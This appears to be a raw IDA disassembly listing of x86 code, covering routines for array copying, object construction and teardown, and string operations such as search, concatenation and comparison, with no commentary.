		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_4097A9
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4016D6
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_401177
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401F96
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4097A9:				; CODE XREF: sub_409680+D8j
		test	edi, edi
		jbe	short loc_4097E3
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4016D6
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_401CCB
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401F96
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_4097E3:				; CODE XREF: sub_409680+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409680	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409850	proc near		; CODE XREF: sub_40170Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_409870


loc_409861:				; CODE XREF: sub_409850+1Ej
		push	esi
		mov	ecx, edi
		call	sub_402072
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_409861


loc_409870:				; CODE XREF: sub_409850+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_409850	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409890	proc near		; CODE XREF: sub_401294j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_436872
sub_409890	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4098B0	proc near		; CODE XREF: sub_402072j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_2
		pop	ecx
		retn	4
sub_4098B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4098D0	proc near		; CODE XREF: sub_4016D6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_409902
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_4098E6:				; CODE XREF: sub_4098D0+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_4015AA
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_4098E6
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409902:				; CODE XREF: sub_4098D0+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_4098D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409920	proc near		; CODE XREF: sub_401177j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_409947
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_409936:				; CODE XREF: sub_409920+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_4015AA
		add	esi, 4
		dec	edi
		jnz	short loc_409936
		pop	esi
		pop	ebx


loc_409947:				; CODE XREF: sub_409920+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_409920	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409960	proc near		; CODE XREF: sub_401CADj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_40203B
sub_409960	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409990	proc near		; CODE XREF: sub_4015AAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401145
		add	esp, 8
		retn	8
sub_409990	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4099C0	proc near		; CODE XREF: sub_401F96j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_4099DD
		mov	edx, [esp+arg_8]
		push	esi


loc_4099D1:				; CODE XREF: sub_4099C0+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_4099D1
		pop	esi

locret_4099DD:				; CODE XREF: sub_4099C0+Aj
		retn
sub_4099C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4099F0	proc near		; CODE XREF: sub_401CCBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_409A12
		mov	eax, [esp+arg_8]
		push	esi


loc_409A01:				; CODE XREF: sub_4099F0+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_409A01
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409A12:				; CODE XREF: sub_4099F0+Aj
		mov	eax, [esp+arg_8]
		retn
sub_4099F0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409A50	proc near		; CODE XREF: sub_40203Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_409A5A
		xor	eax, eax


loc_409A5A:				; CODE XREF: sub_409A50+6j
		shl	eax, 2
		push	eax
		call	sub_43688A
sub_409A50	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A80	proc near		; CODE XREF: sub_401145j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_409A9B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_409A9B:				; CODE XREF: sub_409A80+11j
		retn
sub_409A80	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AB0	proc near		; CODE XREF: sub_401979j

arg_0		= dword	ptr  4

		mov	al, byte_44714A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409AE6
		push	edi
		nop
		call	near ptr 286174Dh
		mov	edi, dword_50F8C4
		push	0FFFFFFF5h
		call	edi
		push	0FFFFFFF4h
		mov	[esi], eax
		call	edi
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], eax
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409AE6:				; CODE XREF: sub_409AB0+Aj
		mov	ecx, [esp+4+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], ecx
		pop	esi
		retn	4
sub_409AB0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B20	proc near		; CODE XREF: sub_401CDAj
		mov	al, byte_44714A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409B3F
		nop
		call	near ptr 2861BA4h
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0FFFFFFFFh


loc_409B3F:				; CODE XREF: sub_409B20+Aj
		mov	byte ptr [esi+8], 0
		pop	esi
		retn
sub_409B20	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B60	proc near		; CODE XREF: sub_401424j
		mov	eax, ecx
		xor	ecx, ecx
		mov	dword ptr [eax], offset	off_43E010
		mov	[eax+9], ecx
		mov	[eax+11h], ecx
		mov	[eax+4], cl
		mov	[eax+0Dh], ecx
		retn
sub_409B60	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409B90:				; CODE XREF: ___:00402063j
					; ___:loc_402171j
		push	esi
		mov	esi, ecx
		call	sub_401226
		test	byte ptr [esp+8], 1
		jz	short loc_409BA8
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409BA8:				; CODE XREF: ___:00409B9Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409BC0	proc near		; CODE XREF: sub_401861j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43E010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015D7
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409BC0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C00	proc near		; CODE XREF: sub_4014C9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43E010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_401FBE
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409C00	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C40	proc near		; CODE XREF: sub_4020F4j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+1Ch+var_10]
		push	offset dword_4437F4
		push	ecx
		mov	dword ptr [esi], offset	off_43E010
		call	sub_63125E
		nop
		add	esp, 0Ch
		lea	edx, [esp+18h+var_10]
		xor	ebx, ebx
		mov	ecx, esi
		push	edx
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015D7
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn	4
sub_409C40	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409CB0	proc near		; CODE XREF: sub_401226j
		push	esi
		mov	esi, ecx
		push	edi
		xor	edi, edi
		mov	eax, [esi+9]
		mov	dword ptr [esi], offset	off_43E010
		cmp	eax, edi
		jz	short loc_409CCC
		push	eax
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409CCC:				; CODE XREF: sub_409CB0+11j
		mov	eax, [esi+0Dh]
		mov	[esi+9], edi
		cmp	eax, edi
		jz	short loc_409CDF
		push	eax
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409CDF:				; CODE XREF: sub_409CB0+24j
		mov	[esi+0Dh], edi
		mov	[esi+11h], edi
		pop	edi
		pop	esi
		retn
sub_409CB0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D00	proc near		; CODE XREF: sub_4015D7j

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		test	edi, edi
		jz	short loc_409D6A
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+9]
		not	ecx
		dec	ecx
		test	eax, eax
		mov	ebp, ecx
		jz	short loc_409D2A
		push	eax
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D2A:				; CODE XREF: sub_409D00+1Fj
		lea	ebx, [ebp+2]
		push	ebx
		call	sub_43688A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F8h, 7E89FF85h,	8B2B7409h, 8BC033CBh, 116E89D1h
		dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch
		dd 51500956h, 29E89052h, 837783DDh
		db 0C4h, 0Ch
; ---------------------------------------------------------------------------


loc_409D6A:				; CODE XREF: sub_409D00+Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409D00	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409DA0	proc near		; CODE XREF: sub_401FBEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		pop	esi
		retn	4
sub_409DA0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409DD0:				; CODE XREF: ___:00401A46j
		mov	eax, [esp+4]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		push	offset dword_4437F4
		push	ecx
		call	sub_63125E
		nop
		add	esp, 0Ch
		lea	edx, [esp+4]
		mov	ecx, esi
		push	edx
		call	sub_4015D7
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E20	proc near		; CODE XREF: sub_401A9Bj

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	ebx, ecx
		test	edi, edi
		jz	loc_409EB2
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [ebx+11h]
		not	ecx
		dec	ecx
		mov	esi, ecx
		add	esi, edi
		lea	eax, [esi+1]
		push	eax
		call	sub_43688A
; ---------------------------------------------------------------------------
		mov	edi, [ebx+9]
		add	esp, 4
		test	edi, edi
		mov	ebp, eax
		jz	short loc_409EB2
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+11h], esi
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, [esp+10h+arg_0]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	edx, ecx
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, edx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+9]
		test	eax, eax
		jz	short loc_409EAF
		push	eax
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409EAF:				; CODE XREF: sub_409E20+84j
		mov	[ebx+9], ebp


loc_409EB2:				; CODE XREF: sub_409E20+Cj
					; sub_409E20+36j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409E20	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409EF0	proc near		; CODE XREF: sub_4016BDj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_401A9B
		pop	esi
		retn	4
sub_409EF0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F20	proc near		; CODE XREF: sub_401140j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+18h+var_10]
		push	offset dword_4437F4
		push	ecx
		nop
		call	sub_63125E
		add	esp, 0Ch
		lea	edx, [esp+14h+var_10]
		mov	ecx, esi
		push	edx
		call	sub_401A9B
		pop	esi
		add	esp, 10h
		retn	4
sub_409F20	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F70	proc near		; CODE XREF: sub_4012EEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_409F87
		mov	edx, [ecx+9]
		xor	eax, eax
		test	edx, edx
		setnz	al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409F87:				; CODE XREF: sub_409F70+7j
		mov	eax, [ecx+9]
		push	ebx


loc_409F8B:				; CODE XREF: sub_409F70+3Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_409FB6
		test	cl, cl
		jz	short loc_409FAF
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_409FB6
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_409F8B


loc_409FAF:				; CODE XREF: sub_409F70+27j
		pop	ebx
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409FB6:				; CODE XREF: sub_409F70+23j
					; sub_409F70+33j
		sbb	eax, eax
		pop	ebx
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn	4
sub_409F70	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409FE0	proc near		; CODE XREF: sub_401B72j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_409FE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A010	proc near		; CODE XREF: sub_401500j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_40A023
		mov	edx, [ecx+9]
		test	edx, edx
		setnz	al
		retn	4
; ---------------------------------------------------------------------------


loc_40A023:				; CODE XREF: sub_40A010+6j
		push	eax
		mov	eax, [ecx+9]
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		retn	4
sub_40A010	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A050	proc near		; CODE XREF: sub_4021ADj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_40A050	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A080	proc near		; CODE XREF: sub_401CBCj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9]
		test	eax, eax
		jz	short loc_40A093
		push	eax
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A093:				; CODE XREF: sub_40A080+8j
		mov	dword ptr [esi+9], 0
		pop	esi
		retn
sub_40A080	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0B0	proc near		; CODE XREF: sub_40102Dj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_4368D0
		mov	eax, [esp+arg_2004]
		test	eax, eax
		jz	short loc_40A0F2
		lea	ecx, [esp+arg_2008]
		lea	edx, [esp+0]
		push	ecx
		push	eax
		push	2000h
		push	edx
		call	near ptr 77C3FF8Ah
		nop
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_4015D7


loc_40A0F2:				; CODE XREF: sub_40A0B0+13j
		add	esp, 2000h
		retn
sub_40A0B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A120	proc near		; CODE XREF: sub_401D20j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401316
		retn	4
sub_40A120	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A140	proc near		; CODE XREF: sub_401316j

arg_0		= byte ptr  4

		push	ebx
		mov	ebx, dword_50FAE0
		push	esi
		push	edi
		movsx	edi, [esp+0Ch+arg_0]
		mov	esi, ecx
		push	edi
		mov	eax, [esi+9]
		push	eax
		call	ebx	; strchr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A164
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A164:				; CODE XREF: sub_40A140+1Cj
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strchr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A140	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A190	proc near		; CODE XREF: sub_4018A2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401807
		retn	4
sub_40A190	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1B0	proc near		; CODE XREF: sub_401807j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_402117
		pop	esi
		retn	8
sub_40A1B0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1E0	proc near		; CODE XREF: sub_4013E3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402117
		retn	4
sub_40A1E0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A200	proc near		; CODE XREF: sub_402117j

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		test	edi, edi
		mov	esi, ecx
		jnz	short loc_40A215
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A215:				; CODE XREF: sub_40A200+Bj
		mov	eax, [esi+9]
		mov	ebx, dword_50FAF8
		push	edi
		push	eax
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A22F
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A22F:				; CODE XREF: sub_40A200+27j
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strstr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A200	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A270	proc near		; CODE XREF: sub_401C5Dj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		test	edi, edi
		jnz	short loc_40A283
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A283:				; CODE XREF: sub_40A270+Aj
		mov	eax, [esi+9]
		mov	[esi+11h], edi
		test	eax, eax
		jz	short loc_40A296
		push	eax
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A296:				; CODE XREF: sub_40A270+1Bj
		push	ebx
		lea	ebx, [edi+1]
		push	ebx
		call	sub_43688A
sub_40A270	endp

; ---------------------------------------------------------------------------
		mov	ecx, ebx
		mov	edi, eax
		mov	edx, ecx
		xor	eax, eax
		shr	ecx, 2
		mov	[esi+9], edi
		add	esp, 4
		rep stosd
		mov	ecx, edx
		pop	ebx
		and	ecx, 3
		rep stosb
		mov	eax, [esi+9]
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A2F0	proc near		; CODE XREF: sub_4013D9j
		mov	eax, [ecx+11h]
		retn
sub_40A2F0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A310	proc near		; CODE XREF: sub_4012B2j

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A310
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebp
		mov	ebp, [esp+30h+arg_8]
		push	esi
		xor	esi, esi
		cmp	ebp, 1
		mov	[esp+34h+var_2C], ecx
		mov	[esp+34h+var_28], esi
		jge	short loc_40A362
		mov	esi, [esp+34h+arg_0]
		push	offset byte_446F20
		mov	ecx, esi
		call	sub_401861
		mov	eax, esi
		pop	esi
		pop	ebp
		mov	ecx, [esp+2Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A362:				; CODE XREF: sub_40A310+2Bj
		push	ebx
		push	edi
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401424
		mov	[esp+3Ch+var_4], esi
		lea	esi, [ebp+1]
		push	esi
		call	sub_43688A
sub_40A310	endp

; ---------------------------------------------------------------------------
		mov	ecx, esi
		mov	ebx, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		add	esp, 4
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		mov	edx, [esp+44h]
		and	ecx, 3
		push	ebx
		rep stosb
		mov	eax, [esp+14h]
		mov	ecx, ebp
		mov	edi, ebx
		mov	esi, [eax+9]
		add	esi, edx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+1Ch]
		call	sub_4015D7
		push	ebx
		call	sub_436872
; ---------------------------------------------------------------------------
		mov	esi, [esp+44h]
		add	esp, 4
		lea	eax, [esp+18h]
		mov	ecx, esi
		push	eax
		call	sub_4014C9
		lea	ecx, [esp+18h]
		call	sub_401226
		mov	ecx, [esp+30h]
		pop	edi
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
